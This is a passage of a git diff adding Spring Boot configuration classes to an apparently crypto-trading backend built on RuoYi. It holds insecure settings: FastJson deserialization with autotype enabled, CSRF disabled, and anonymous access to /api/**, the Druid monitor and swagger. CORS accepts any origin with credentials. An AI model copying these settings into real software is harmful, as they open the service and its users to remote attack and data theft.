* 去除监控页面底部的广告 + */ + @SuppressWarnings({ "rawtypes", "unchecked" }) + @Bean + @ConditionalOnProperty(name = "spring.datasource.druid.statViewServlet.enabled", havingValue = "true") + public FilterRegistrationBean removeDruidFilterRegistrationBean(DruidStatProperties properties) + { + // 获取web监控页面的参数 + DruidStatProperties.StatViewServlet config = properties.getStatViewServlet(); + // 提取common.js的配置路径 + String pattern = config.getUrlPattern() != null ? config.getUrlPattern() : "/druid/*"; + String commonJsPattern = pattern.replaceAll("\\*", "js/common.js"); + final String filePath = "support/http/resources/js/common.js"; + // 创建filter进行过滤 + Filter filter = new Filter() + { + @Override + public void init(javax.servlet.FilterConfig filterConfig) throws ServletException + { + } + @Override + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) + throws IOException, ServletException + { + chain.doFilter(request, response); + // 重置缓冲区,响应头不会被重置 + response.resetBuffer(); + // 获取common.js + String text = Utils.readFromResource(filePath); + // 正则替换banner, 除去底部的广告信息 + text = text.replaceAll("
    ", ""); + text = text.replaceAll("powered.*?shrek.wang", ""); + response.getWriter().write(text); + } + @Override + public void destroy() + { + } + }; + FilterRegistrationBean registrationBean = new FilterRegistrationBean(); + registrationBean.setFilter(filter); + registrationBean.addUrlPatterns(commonJsPattern); + return registrationBean; + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/FastJson2JsonRedisSerializer.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/FastJson2JsonRedisSerializer.java new file mode 100644 index 0000000..b6d6110 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/FastJson2JsonRedisSerializer.java @@ -0,0 +1,48 @@ +package com.ruoyi.framework.config; + +import java.nio.charset.Charset; +import org.springframework.data.redis.serializer.RedisSerializer; +import org.springframework.data.redis.serializer.SerializationException; +import com.alibaba.fastjson2.JSON; +import com.alibaba.fastjson2.JSONReader; +import com.alibaba.fastjson2.JSONWriter; + +/** + * Redis使用FastJson序列化 + * + * @author ruoyi + */ +public class FastJson2JsonRedisSerializer implements RedisSerializer +{ + public static final Charset DEFAULT_CHARSET = Charset.forName("UTF-8"); + + private Class clazz; + + public FastJson2JsonRedisSerializer(Class clazz) + { + super(); + this.clazz = clazz; + } + + @Override + public byte[] serialize(T t) throws SerializationException + { + if (t == null) + { + return new byte[0]; + } + return JSON.toJSONString(t, JSONWriter.Feature.WriteClassName).getBytes(DEFAULT_CHARSET); + } + + @Override + public T deserialize(byte[] bytes) throws SerializationException + { + if (bytes == null || bytes.length <= 0) + { + return null; + } + String str = new String(bytes, DEFAULT_CHARSET); + + return JSON.parseObject(str, clazz, JSONReader.Feature.SupportAutoType); + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/FilterConfig.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/FilterConfig.java new file mode 100644 index 0000000..bb14c04 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/FilterConfig.java @@ -0,0 +1,58 @@ +package com.ruoyi.framework.config; + +import java.util.HashMap; +import java.util.Map; +import javax.servlet.DispatcherType; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.web.servlet.FilterRegistrationBean; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import com.ruoyi.common.filter.RepeatableFilter; +import com.ruoyi.common.filter.XssFilter; +import com.ruoyi.common.utils.StringUtils; + +/** + * Filter配置 + * + * @author ruoyi + */ +@Configuration +public class FilterConfig +{ + @Value("${xss.excludes}") + private String excludes; + + @Value("${xss.urlPatterns}") + private String urlPatterns; + + @SuppressWarnings({ "rawtypes", "unchecked" }) + @Bean + @ConditionalOnProperty(value = "xss.enabled", havingValue = "true") + public FilterRegistrationBean xssFilterRegistration() + { + FilterRegistrationBean registration = new FilterRegistrationBean(); + registration.setDispatcherTypes(DispatcherType.REQUEST); + registration.setFilter(new XssFilter()); + registration.addUrlPatterns(StringUtils.split(urlPatterns, ",")); + registration.setName("xssFilter"); + registration.setOrder(FilterRegistrationBean.HIGHEST_PRECEDENCE); + Map initParameters = new HashMap(); + initParameters.put("excludes", excludes); + registration.setInitParameters(initParameters); + return registration; + } + + @SuppressWarnings({ "rawtypes", "unchecked" }) + @Bean + public FilterRegistrationBean someFilterRegistration() + { + FilterRegistrationBean registration = new FilterRegistrationBean(); + registration.setFilter(new RepeatableFilter()); + registration.addUrlPatterns("/*"); + registration.setName("repeatableFilter"); + registration.setOrder(FilterRegistrationBean.LOWEST_PRECEDENCE); + return registration; + } + +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/KaptchaTextCreator.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/KaptchaTextCreator.java new file mode 100644 index 0000000..7f8e1d5 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/KaptchaTextCreator.java @@ -0,0 +1,68 @@ +package com.ruoyi.framework.config; + +import java.util.Random; +import com.google.code.kaptcha.text.impl.DefaultTextCreator; + +/** + * 验证码文本生成器 + * + * @author ruoyi + */ +public class KaptchaTextCreator extends DefaultTextCreator +{ + private static final String[] CNUMBERS = "0,1,2,3,4,5,6,7,8,9,10".split(","); + + @Override + public String getText() + { + Integer result = 0; + Random random = new Random(); + int x = random.nextInt(10); + int y = random.nextInt(10); + StringBuilder suChinese = new StringBuilder(); + int randomoperands = random.nextInt(3); + if (randomoperands == 0) + { + result = x * y; + suChinese.append(CNUMBERS[x]); + suChinese.append("*"); + suChinese.append(CNUMBERS[y]); + } + else if (randomoperands == 1) + { + if ((x != 0) && y % x == 0) + { + result = y / x; + suChinese.append(CNUMBERS[y]); + suChinese.append("/"); + suChinese.append(CNUMBERS[x]); + } + else + { + result = x + y; + suChinese.append(CNUMBERS[x]); + suChinese.append("+"); + suChinese.append(CNUMBERS[y]); + } + } + else + { + if (x >= y) + { + result = x - y; + suChinese.append(CNUMBERS[x]); + suChinese.append("-"); + suChinese.append(CNUMBERS[y]); + } + else + { + result = y - x; + suChinese.append(CNUMBERS[y]); + suChinese.append("-"); + suChinese.append(CNUMBERS[x]); + } + } + suChinese.append("=?@" + result); + return suChinese.toString(); + } +} \ No newline at end of file diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/MybatisPlusConfig.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/MybatisPlusConfig.java new file mode 100644 index 0000000..199ade0 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/MybatisPlusConfig.java @@ -0,0 +1,61 @@ +package com.ruoyi.framework.config; +import com.baomidou.mybatisplus.annotation.DbType; +import com.baomidou.mybatisplus.extension.plugins.MybatisPlusInterceptor; +import com.baomidou.mybatisplus.extension.plugins.inner.BlockAttackInnerInterceptor; +import com.baomidou.mybatisplus.extension.plugins.inner.OptimisticLockerInnerInterceptor; +import com.baomidou.mybatisplus.extension.plugins.inner.PaginationInnerInterceptor; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.transaction.annotation.EnableTransactionManagement; + +/** + * Mybatis Plus 配置 + * + * @author ruoyi + */ +@EnableTransactionManagement(proxyTargetClass = true) +@Configuration +public class MybatisPlusConfig +{ + @Bean + public MybatisPlusInterceptor mybatisPlusInterceptor() + { + MybatisPlusInterceptor interceptor = new MybatisPlusInterceptor(); + // 分页插件 + interceptor.addInnerInterceptor(paginationInnerInterceptor()); + // 乐观锁插件 + interceptor.addInnerInterceptor(optimisticLockerInnerInterceptor()); + // 阻断插件 + interceptor.addInnerInterceptor(blockAttackInnerInterceptor()); + return interceptor; + } + + /** + * 分页插件,自动识别数据库类型 https://baomidou.com/guide/interceptor-pagination.html + */ + public PaginationInnerInterceptor paginationInnerInterceptor() + { + PaginationInnerInterceptor paginationInnerInterceptor = new PaginationInnerInterceptor(); + // 设置数据库类型为mysql + paginationInnerInterceptor.setDbType(DbType.MYSQL); + // 设置最大单页限制数量,默认 500 条,-1 不受限制 + paginationInnerInterceptor.setMaxLimit(-1L); + return paginationInnerInterceptor; + } + + /** + * 乐观锁插件 https://baomidou.com/guide/interceptor-optimistic-locker.html + */ + public OptimisticLockerInnerInterceptor optimisticLockerInnerInterceptor() + { + return new OptimisticLockerInnerInterceptor(); + } + + /** + * 如果是对全表的删除或更新操作,就会终止该操作 https://baomidou.com/guide/interceptor-block-attack.html + */ + public BlockAttackInnerInterceptor blockAttackInnerInterceptor() + { + return new BlockAttackInnerInterceptor(); + } +} \ No newline at end of file diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/RedisConfig.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/RedisConfig.java new file mode 100644 index 0000000..3f4f485 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/RedisConfig.java @@ -0,0 +1,69 @@ +package com.ruoyi.framework.config; + +import org.springframework.cache.annotation.CachingConfigurerSupport; +import org.springframework.cache.annotation.EnableCaching; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.data.redis.connection.RedisConnectionFactory; +import org.springframework.data.redis.core.RedisTemplate; +import org.springframework.data.redis.core.script.DefaultRedisScript; +import org.springframework.data.redis.serializer.StringRedisSerializer; + +/** + * redis配置 + * + * @author ruoyi + */ +@Configuration +@EnableCaching +public class RedisConfig extends CachingConfigurerSupport +{ + @Bean + @SuppressWarnings(value = { "unchecked", "rawtypes" }) + public RedisTemplate redisTemplate(RedisConnectionFactory connectionFactory) + { + RedisTemplate template = new RedisTemplate<>(); + template.setConnectionFactory(connectionFactory); + + FastJson2JsonRedisSerializer serializer = new FastJson2JsonRedisSerializer(Object.class); + + // 使用StringRedisSerializer来序列化和反序列化redis的key值 + template.setKeySerializer(new StringRedisSerializer()); + template.setValueSerializer(serializer); + + // Hash的key也采用StringRedisSerializer的序列化方式 + template.setHashKeySerializer(new StringRedisSerializer()); + template.setHashValueSerializer(serializer); + + template.afterPropertiesSet(); + return template; + } + + @Bean + public DefaultRedisScript limitScript() + { + DefaultRedisScript redisScript = new DefaultRedisScript<>(); + redisScript.setScriptText(limitScriptText()); + redisScript.setResultType(Long.class); + return redisScript; + } + + /** + * 限流脚本 + */ + private String limitScriptText() + { + return "local key = KEYS[1]\n" + + "local count = tonumber(ARGV[1])\n" + + "local time = tonumber(ARGV[2])\n" + + "local current = redis.call('get', key);\n" + + "if current and tonumber(current) > count then\n" + + " return tonumber(current);\n" + + "end\n" + + "current = redis.call('incr', key)\n" + + "if tonumber(current) == 1 then\n" + + " redis.call('expire', key, time)\n" + + "end\n" + + "return tonumber(current);"; + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/ResourcesConfig.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/ResourcesConfig.java new file mode 100644 index 0000000..74fb93e --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/ResourcesConfig.java @@ -0,0 +1,73 @@ +package com.ruoyi.framework.config; + +import java.util.concurrent.TimeUnit; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.http.CacheControl; +import org.springframework.web.cors.CorsConfiguration; +import org.springframework.web.cors.UrlBasedCorsConfigurationSource; +import org.springframework.web.filter.CorsFilter; +import org.springframework.web.servlet.config.annotation.InterceptorRegistry; +import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry; +import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; +import com.ruoyi.common.config.RuoYiConfig; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.framework.interceptor.RepeatSubmitInterceptor; + +/** + * 通用配置 + * + * @author ruoyi + */ +@Configuration +public class ResourcesConfig implements WebMvcConfigurer +{ + @Autowired + private RepeatSubmitInterceptor repeatSubmitInterceptor; + + @Override + public void addResourceHandlers(ResourceHandlerRegistry registry) + { + /** 本地文件上传路径 */ + registry.addResourceHandler(Constants.RESOURCE_PREFIX + "/**") + .addResourceLocations("file:" + RuoYiConfig.getProfile() + "/"); + + /** swagger配置 */ + registry.addResourceHandler("/swagger-ui/**") + .addResourceLocations("classpath:/META-INF/resources/webjars/springfox-swagger-ui/") + .setCacheControl(CacheControl.maxAge(5, TimeUnit.HOURS).cachePublic());; + } + + /** + * 自定义拦截规则 + */ + @Override + public void addInterceptors(InterceptorRegistry registry) + { + registry.addInterceptor(repeatSubmitInterceptor).addPathPatterns("/**"); + } + + /** + * 跨域配置 + */ + @Bean + public CorsFilter corsFilter() + { + CorsConfiguration config = new CorsConfiguration(); + config.setAllowCredentials(true); + // 设置访问源地址 + config.addAllowedOriginPattern("*"); + // 设置访问源请求头 + config.addAllowedHeader("*"); + // 设置访问源请求方法 + config.addAllowedMethod("*"); + // 有效期 1800秒 + config.setMaxAge(1800L); + // 添加映射路径,拦截一切请求 + UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource(); + source.registerCorsConfiguration("/**", config); + // 返回新的CorsFilter + return new CorsFilter(source); + } +} \ No newline at end of file diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/SaTokenConfig.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/SaTokenConfig.java new file mode 100644 index 0000000..81b20c1 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/SaTokenConfig.java @@ -0,0 +1,46 @@ +package com.ruoyi.framework.config; + +import cn.dev33.satoken.interceptor.SaRouteInterceptor; +import org.springframework.context.annotation.Configuration; +import org.springframework.web.servlet.config.annotation.InterceptorRegistry; +import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; + +/** + * @author zouhuu + * @description [Sa-Token 权限认证] 配置类 + * @date 2022/06/15 15:32:59 + */ +@Configuration +public class SaTokenConfig implements WebMvcConfigurer { + + // 注册拦截器 + @Override + public void addInterceptors(InterceptorRegistry registry) { + // 注册Sa-Token的路由拦截器 + registry.addInterceptor(new SaRouteInterceptor()) + // 拦截 APP或小程序的 所有请求 + .addPathPatterns("/api/**") + // 排除 APP或小程序的 认证授权请求,如登录等 + + .excludePathPatterns( + "/api/user/register", + "/api/user/easyGenerateCode", + "/api/common/**", + "/api/app/**", + "/api/user/sendEmailCode", + "/api/user/sendMobileCode", + "/api/user/getCountryCode", + "/api/user/login", + "/api/user/backPwd", + "/api/user/bindPhoneEmail", + "/api/coin/list", + "/api/user/bindPhoneEmail", + "/api/notice/**", + "/api/timezone/getTimeZone", + "/api/option/rules/**", + "/ws/**", + "/api/recall/withdraw/unc", + "/api/recall/pay/unc" + ); + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/SecurityConfig.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/SecurityConfig.java new file mode 100644 index 0000000..de51c02 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/SecurityConfig.java @@ -0,0 +1,150 @@ +package com.ruoyi.framework.config; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.annotation.Bean; +import org.springframework.http.HttpMethod; +import org.springframework.security.authentication.AuthenticationManager; +import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder; +import org.springframework.security.config.annotation.method.configuration.EnableGlobalMethodSecurity; +import org.springframework.security.config.annotation.web.builders.HttpSecurity; +import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; +import org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer; +import org.springframework.security.config.http.SessionCreationPolicy; +import org.springframework.security.core.userdetails.UserDetailsService; +import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder; +import org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter; +import org.springframework.security.web.authentication.logout.LogoutFilter; +import org.springframework.web.filter.CorsFilter; +import com.ruoyi.framework.config.properties.PermitAllUrlProperties; +import com.ruoyi.framework.security.filter.JwtAuthenticationTokenFilter; +import com.ruoyi.framework.security.handle.AuthenticationEntryPointImpl; +import com.ruoyi.framework.security.handle.LogoutSuccessHandlerImpl; + +/** + * spring security配置 + * + * @author ruoyi + */ +@EnableGlobalMethodSecurity(prePostEnabled = true, securedEnabled = true) +public class SecurityConfig extends WebSecurityConfigurerAdapter +{ + /** + * 自定义用户认证逻辑 + */ + @Autowired + private UserDetailsService userDetailsService; + + /** + * 认证失败处理类 + */ + @Autowired + private AuthenticationEntryPointImpl unauthorizedHandler; + + /** + * 退出处理类 + */ + @Autowired + private LogoutSuccessHandlerImpl logoutSuccessHandler; + + /** + * token认证过滤器 + */ + @Autowired + private JwtAuthenticationTokenFilter authenticationTokenFilter; + + /** + * 跨域过滤器 + */ + @Autowired + private CorsFilter corsFilter; + + /** + * 允许匿名访问的地址 + */ + @Autowired + private PermitAllUrlProperties permitAllUrl; + + /** + * 解决 无法直接注入 AuthenticationManager + * + * @return + * @throws Exception + */ + @Bean + @Override + public AuthenticationManager authenticationManagerBean() throws Exception + { + return super.authenticationManagerBean(); + } + + /** + * anyRequest | 匹配所有请求路径 + * access | SpringEl表达式结果为true时可以访问 + * anonymous | 匿名可以访问 + * denyAll | 用户不能访问 + * fullyAuthenticated | 用户完全认证可以访问(非remember-me下自动登录) + * hasAnyAuthority | 如果有参数,参数表示权限,则其中任何一个权限可以访问 + * hasAnyRole | 如果有参数,参数表示角色,则其中任何一个角色可以访问 + * hasAuthority | 如果有参数,参数表示权限,则其权限可以访问 + * hasIpAddress | 如果有参数,参数表示IP地址,如果用户IP和参数匹配,则可以访问 + * hasRole | 如果有参数,参数表示角色,则其角色可以访问 + * permitAll | 用户可以任意访问 + * rememberMe | 允许通过remember-me登录的用户访问 + * authenticated | 用户登录后可访问 + */ + @Override + protected void configure(HttpSecurity httpSecurity) throws Exception + { + // 注解标记允许匿名访问的url + ExpressionUrlAuthorizationConfigurer.ExpressionInterceptUrlRegistry registry = httpSecurity.authorizeRequests(); + permitAllUrl.getUrls().forEach(url -> registry.antMatchers(url).permitAll()); + + httpSecurity + // CSRF禁用,因为不使用session + .csrf().disable() + // 禁用HTTP响应标头 + .headers().cacheControl().disable().and() + // 认证失败处理类 + .exceptionHandling().authenticationEntryPoint(unauthorizedHandler).and() + // 基于token,所以不需要session + .sessionManagement().sessionCreationPolicy(SessionCreationPolicy.STATELESS).and() + // 过滤请求 + .authorizeRequests() + // 对于登录login 注册register 验证码captchaImage 允许匿名访问 + .antMatchers("/webSocket/**","/login", "/register","/getSysInfo","/getBinance", "/captchaImage","/ws/coin/**","/ws/**","/kline","/newKline","/marketCallBack/coin","/system/symbol/getList").permitAll() + // app请求 + .antMatchers("/api/**").permitAll() + // 静态资源,可匿名访问 + .antMatchers(HttpMethod.GET, "/", "/*.html", "/**/*.html", "/**/*.css", "/**/*.js", "/profile/**","/system/user/googleCode").permitAll() + .antMatchers("/swagger-ui.html", "/swagger-resources/**", "/webjars/**", "/*/api-docs", "/druid/**","/common/**").permitAll() + // 除上面外的所有请求全部需要鉴权认证 + .anyRequest().authenticated() + .and() + .headers().frameOptions().disable(); + // 添加Logout filter + httpSecurity.logout().logoutUrl("/logout").logoutSuccessHandler(logoutSuccessHandler); + // 添加JWT filter + httpSecurity.addFilterBefore(authenticationTokenFilter, UsernamePasswordAuthenticationFilter.class); + // 添加CORS filter + httpSecurity.addFilterBefore(corsFilter, JwtAuthenticationTokenFilter.class); + httpSecurity.addFilterBefore(corsFilter, LogoutFilter.class); + } + + /** + * 强散列哈希加密实现 + */ + @Bean + public BCryptPasswordEncoder bCryptPasswordEncoder() + { + return new BCryptPasswordEncoder(); + } + + /** + * 身份认证接口 + */ + @Override + protected void configure(AuthenticationManagerBuilder auth) throws Exception + { + auth.userDetailsService(userDetailsService).passwordEncoder(bCryptPasswordEncoder()); + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/ServerConfig.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/ServerConfig.java new file mode 100644 index 0000000..b5b7de3 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/ServerConfig.java @@ -0,0 +1,32 @@ +package com.ruoyi.framework.config; + +import javax.servlet.http.HttpServletRequest; +import org.springframework.stereotype.Component; +import com.ruoyi.common.utils.ServletUtils; + +/** + * 服务相关配置 + * + * @author ruoyi + */ +@Component +public class ServerConfig +{ + /** + * 获取完整的请求路径,包括:域名,端口,上下文访问路径 + * + * @return 服务地址 + */ + public String getUrl() + { + HttpServletRequest request = ServletUtils.getRequest(); + return getDomain(request); + } + + public static String getDomain(HttpServletRequest request) + { + StringBuffer url = request.getRequestURL(); + String contextPath = request.getServletContext().getContextPath(); + return url.delete(url.length() - request.getRequestURI().length(), url.length()).append(contextPath).toString(); + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/ThreadPoolConfig.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/ThreadPoolConfig.java new file mode 100644 index 0000000..7840141 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/ThreadPoolConfig.java @@ -0,0 +1,63 @@ +package com.ruoyi.framework.config; + +import com.ruoyi.common.utils.Threads; +import org.apache.commons.lang3.concurrent.BasicThreadFactory; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor; +import java.util.concurrent.ScheduledExecutorService; +import java.util.concurrent.ScheduledThreadPoolExecutor; +import java.util.concurrent.ThreadPoolExecutor; + +/** + * 线程池配置 + * + * @author ruoyi + **/ +@Configuration +public class ThreadPoolConfig +{ + // 核心线程池大小 + private int corePoolSize = 50; + + // 最大可创建的线程数 + private int maxPoolSize = 200; + + // 队列最大长度 + private int queueCapacity = 1000; + + // 线程池维护线程所允许的空闲时间 + private int keepAliveSeconds = 300; + + @Bean(name = "threadPoolTaskExecutor") + public ThreadPoolTaskExecutor threadPoolTaskExecutor() + { + ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor(); + executor.setMaxPoolSize(maxPoolSize); + executor.setCorePoolSize(corePoolSize); + executor.setQueueCapacity(queueCapacity); + executor.setKeepAliveSeconds(keepAliveSeconds); + // 线程池对拒绝任务(无线程可用)的处理策略 + executor.setRejectedExecutionHandler(new ThreadPoolExecutor.CallerRunsPolicy()); + return executor; + } + + /** + * 执行周期性或定时任务 + */ + @Bean(name = "scheduledExecutorService") + protected ScheduledExecutorService scheduledExecutorService() + { + return new ScheduledThreadPoolExecutor(corePoolSize, + new BasicThreadFactory.Builder().namingPattern("schedule-pool-%d").daemon(true).build(), + new ThreadPoolExecutor.CallerRunsPolicy()) + { + @Override + protected void afterExecute(Runnable r, Throwable t) + { + super.afterExecute(r, t); + Threads.printException(r, t); + } + }; + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/WebSocketConfigOne.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/WebSocketConfigOne.java new file mode 100644 index 0000000..85bd895 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/WebSocketConfigOne.java @@ -0,0 +1,23 @@ +package com.ruoyi.framework.config; + + +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.web.socket.server.standard.ServerEndpointExporter; + + +@Configuration +public class WebSocketConfigOne { + + /** + * 这个bean会自动注册使用了@ServerEndpoint注解声明的对象 + * 没有的话会报404 + * + * @return + */ + @Bean + public ServerEndpointExporter serverEndpointExporter() { + return new ServerEndpointExporter(); + } + +} \ No newline at end of file diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/properties/DruidProperties.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/properties/DruidProperties.java new file mode 100644 index 0000000..c8a5c8a --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/properties/DruidProperties.java @@ -0,0 +1,89 @@ +package com.ruoyi.framework.config.properties; + +import org.springframework.beans.factory.annotation.Value; +import org.springframework.context.annotation.Configuration; +import com.alibaba.druid.pool.DruidDataSource; + +/** + * druid 配置属性 + * + * @author ruoyi + */ +@Configuration +public class DruidProperties +{ + @Value("${spring.datasource.druid.initialSize}") + private int initialSize; + + @Value("${spring.datasource.druid.minIdle}") + private int minIdle; + + @Value("${spring.datasource.druid.maxActive}") + private int maxActive; + + @Value("${spring.datasource.druid.maxWait}") + private int maxWait; + + @Value("${spring.datasource.druid.connectTimeout}") + private int connectTimeout; + + @Value("${spring.datasource.druid.socketTimeout}") + private int socketTimeout; + + @Value("${spring.datasource.druid.timeBetweenEvictionRunsMillis}") + private int timeBetweenEvictionRunsMillis; + + @Value("${spring.datasource.druid.minEvictableIdleTimeMillis}") + private int minEvictableIdleTimeMillis; + + @Value("${spring.datasource.druid.maxEvictableIdleTimeMillis}") + private int maxEvictableIdleTimeMillis; + + @Value("${spring.datasource.druid.validationQuery}") + private String validationQuery; + + @Value("${spring.datasource.druid.testWhileIdle}") + private boolean testWhileIdle; + + @Value("${spring.datasource.druid.testOnBorrow}") + private boolean testOnBorrow; + + @Value("${spring.datasource.druid.testOnReturn}") + private boolean testOnReturn; + + public DruidDataSource dataSource(DruidDataSource datasource) + { + /** 配置初始化大小、最小、最大 */ + datasource.setInitialSize(initialSize); + datasource.setMaxActive(maxActive); + datasource.setMinIdle(minIdle); + + /** 配置获取连接等待超时的时间 */ + datasource.setMaxWait(maxWait); + + /** 配置驱动连接超时时间,检测数据库建立连接的超时时间,单位是毫秒 */ + datasource.setConnectTimeout(connectTimeout); + + /** 配置网络超时时间,等待数据库操作完成的网络超时时间,单位是毫秒 */ + datasource.setSocketTimeout(socketTimeout); + + /** 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 */ + datasource.setTimeBetweenEvictionRunsMillis(timeBetweenEvictionRunsMillis); + + /** 配置一个连接在池中最小、最大生存的时间,单位是毫秒 */ + datasource.setMinEvictableIdleTimeMillis(minEvictableIdleTimeMillis); + datasource.setMaxEvictableIdleTimeMillis(maxEvictableIdleTimeMillis); + + /** + * 用来检测连接是否有效的sql,要求是一个查询语句,常用select 'x'。如果validationQuery为null,testOnBorrow、testOnReturn、testWhileIdle都不会起作用。 + */ + datasource.setValidationQuery(validationQuery); + /** 建议配置为true,不影响性能,并且保证安全性。申请连接的时候检测,如果空闲时间大于timeBetweenEvictionRunsMillis,执行validationQuery检测连接是否有效。 */ + datasource.setTestWhileIdle(testWhileIdle); + /** 申请连接时执行validationQuery检测连接是否有效,做了这个配置会降低性能。 */ + datasource.setTestOnBorrow(testOnBorrow); + /** 归还连接时执行validationQuery检测连接是否有效,做了这个配置会降低性能。 */ + datasource.setTestOnReturn(testOnReturn); + return datasource; + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/properties/PermitAllUrlProperties.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/properties/PermitAllUrlProperties.java new file mode 100644 index 0000000..29118fa --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/properties/PermitAllUrlProperties.java @@ -0,0 +1,73 @@ +package com.ruoyi.framework.config.properties; + +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.Objects; +import java.util.Optional; +import java.util.regex.Pattern; +import org.apache.commons.lang3.RegExUtils; +import org.springframework.beans.BeansException; +import org.springframework.beans.factory.InitializingBean; +import org.springframework.context.ApplicationContext; +import org.springframework.context.ApplicationContextAware; +import org.springframework.context.annotation.Configuration; +import org.springframework.core.annotation.AnnotationUtils; +import org.springframework.web.method.HandlerMethod; +import org.springframework.web.servlet.mvc.method.RequestMappingInfo; +import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; +import com.ruoyi.common.annotation.Anonymous; + +/** + * 设置Anonymous注解允许匿名访问的url + * + * @author ruoyi + */ +@Configuration +public class PermitAllUrlProperties implements InitializingBean, ApplicationContextAware +{ + private static final Pattern PATTERN = Pattern.compile("\\{(.*?)\\}"); + + private ApplicationContext applicationContext; + + private List urls = new ArrayList<>(); + + public String ASTERISK = "*"; + + @Override + public void afterPropertiesSet() + { + RequestMappingHandlerMapping mapping = applicationContext.getBean(RequestMappingHandlerMapping.class); + Map map = mapping.getHandlerMethods(); + + map.keySet().forEach(info -> { + HandlerMethod handlerMethod = map.get(info); + + // 获取方法上边的注解 替代path variable 为 * + Anonymous method = AnnotationUtils.findAnnotation(handlerMethod.getMethod(), Anonymous.class); + Optional.ofNullable(method).ifPresent(anonymous -> Objects.requireNonNull(info.getPatternsCondition().getPatterns()) + .forEach(url -> urls.add(RegExUtils.replaceAll(url, PATTERN, ASTERISK)))); + + // 获取类上边的注解, 替代path variable 为 * + Anonymous controller = AnnotationUtils.findAnnotation(handlerMethod.getBeanType(), Anonymous.class); + Optional.ofNullable(controller).ifPresent(anonymous -> Objects.requireNonNull(info.getPatternsCondition().getPatterns()) + .forEach(url -> urls.add(RegExUtils.replaceAll(url, PATTERN, ASTERISK)))); + }); + } + + @Override + public void setApplicationContext(ApplicationContext context) throws BeansException + { + this.applicationContext = context; + } + + public List getUrls() + { + return urls; + } + + public void setUrls(List urls) + { + this.urls = urls; + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/datasource/DynamicDataSource.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/datasource/DynamicDataSource.java new file mode 100644 index 0000000..e70b8cf --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/datasource/DynamicDataSource.java @@ -0,0 +1,26 @@ +package com.ruoyi.framework.datasource; + +import java.util.Map; +import javax.sql.DataSource; +import org.springframework.jdbc.datasource.lookup.AbstractRoutingDataSource; + +/** + * 动态数据源 + * + * @author ruoyi + */ +public class DynamicDataSource extends 